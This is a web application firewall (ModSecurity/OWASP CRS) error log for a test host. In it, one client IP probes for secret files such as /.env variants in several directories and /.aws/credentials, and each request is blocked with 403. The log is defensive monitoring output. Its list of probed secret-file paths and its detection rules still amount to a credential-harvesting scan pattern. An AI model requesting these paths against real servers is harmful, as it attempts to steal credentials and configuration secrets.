[Thu Mar 05 21:15:46.622375 2026] [:error] [pid 2503880] [client 195.178.110.34:41062] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aankchHtoywXcSe8_1t0eAAAAAY"]
[Thu Mar 05 21:15:47.585426 2026] [:error] [pid 2503881] [client 195.178.110.34:41072] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aankc5i8fbyJQd87T9vX2gAAAAg"]
[Thu Mar 05 21:15:47.585622 2026] [:error] [pid 2503881] [client 195.178.110.34:41072] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aankc5i8fbyJQd87T9vX2gAAAAg"]
[Thu Mar 05 21:15:47.585790 2026] [:error] [pid 2503881] [client 195.178.110.34:41072] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aankc5i8fbyJQd87T9vX2gAAAAg"]
[Thu Mar 05 21:15:47.710187 2026] [:error] [pid 2503881] [client 195.178.110.34:41072] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aankc5i8fbyJQd87T9vX2wAAAAg"]
[Thu Mar 05 21:15:47.710426 2026] [:error] [pid 2503881] [client 195.178.110.34:41072] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aankc5i8fbyJQd87T9vX2wAAAAg"]
[Thu Mar 05 21:15:47.710613 2026] [:error] [pid 2503881] [client 195.178.110.34:41072] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aankc5i8fbyJQd87T9vX2wAAAAg"]
[Thu Mar 05 21:15:48.274573 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aankdCb_JVMSPTd_77AomgAAAAk"]
[Thu Mar 05 21:15:48.274677 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aankdCb_JVMSPTd_77AomgAAAAk"]
[Thu Mar 05 21:15:48.274817 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aankdCb_JVMSPTd_77AomgAAAAk"]
[Thu Mar 05 21:15:48.274975 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aankdCb_JVMSPTd_77AomgAAAAk"]
[Thu Mar 05 21:15:48.451376 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "aankdCb_JVMSPTd_77AomwAAAAk"]
[Thu Mar 05 21:15:48.451582 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "aankdCb_JVMSPTd_77AomwAAAAk"]
[Thu Mar 05 21:15:48.451761 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "aankdCb_JVMSPTd_77AomwAAAAk"]
[Thu Mar 05 21:15:48.633676 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aankdCb_JVMSPTd_77AonQAAAAk"]
[Thu Mar 05 21:15:48.633831 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aankdCb_JVMSPTd_77AonQAAAAk"]
[Thu Mar 05 21:15:48.633970 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aankdCb_JVMSPTd_77AonQAAAAk"]
[Thu Mar 05 21:15:48.759561 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "aankdCb_JVMSPTd_77AongAAAAk"]
[Thu Mar 05 21:15:48.759732 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "aankdCb_JVMSPTd_77AongAAAAk"]
[Thu Mar 05 21:15:48.759885 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "aankdCb_JVMSPTd_77AongAAAAk"]
[Thu Mar 05 21:15:48.904759 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "aankdCb_JVMSPTd_77AonwAAAAk"]
[Thu Mar 05 21:15:48.904920 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "aankdCb_JVMSPTd_77AonwAAAAk"]
[Thu Mar 05 21:15:48.905068 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "aankdCb_JVMSPTd_77AonwAAAAk"]
[Thu Mar 05 21:15:49.047863 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aankdSb_JVMSPTd_77AooAAAAAk"]
[Thu Mar 05 21:15:49.048018 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aankdSb_JVMSPTd_77AooAAAAAk"]
[Thu Mar 05 21:15:49.048187 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aankdSb_JVMSPTd_77AooAAAAAk"]
[Thu Mar 05 21:15:49.264678 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aankdSb_JVMSPTd_77AooQAAAAk"]
[Thu Mar 05 21:15:49.264834 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aankdSb_JVMSPTd_77AooQAAAAk"]
[Thu Mar 05 21:15:49.264998 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aankdSb_JVMSPTd_77AooQAAAAk"]
[Thu Mar 05 21:15:49.435635 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aankdSb_JVMSPTd_77AoogAAAAk"]
[Thu Mar 05 21:15:49.435798 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aankdSb_JVMSPTd_77AoogAAAAk"]
[Thu Mar 05 21:15:49.435949 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aankdSb_JVMSPTd_77AoogAAAAk"]
[Thu Mar 05 21:15:49.619670 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aankdSb_JVMSPTd_77AoowAAAAk"]
[Thu Mar 05 21:15:49.619827 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aankdSb_JVMSPTd_77AoowAAAAk"]
[Thu Mar 05 21:15:49.619978 2026] [:error] [pid 2503882] [client 195.178.110.34:41078] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aankdSb_JVMSPTd_77AoowAAAAk"]
[Thu Mar 05 21:16:09.776671 2026] [:error] [pid 2501119] [client 195.178.110.34:43896] [client 195.178.110.34] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aankibOJ_wCtIAV5QeJmEAAAAAU"]
[Thu Mar 05 21:16:09.776832 2026] [:error] [pid 2501119] [client 195.178.110.34:43896] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aankibOJ_wCtIAV5QeJmEAAAAAU"]
[Thu Mar 05 21:16:09.776986 2026] [:error] [pid 2501119] [client 195.178.110.34:43896] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aankibOJ_wCtIAV5QeJmEAAAAAU"]
[Thu Mar 05 21:16:15.427783 2026] [:error] [pid 2501061] [client 195.178.110.34:33640] [client 195.178.110.34] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aankjw2oE8rlT9GFMnsO-AAAABU"]
[Thu Mar 05 21:16:15.427968 2026] [:error] [pid 2501061] [client 195.178.110.34:33640] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aankjw2oE8rlT9GFMnsO-AAAABU"]
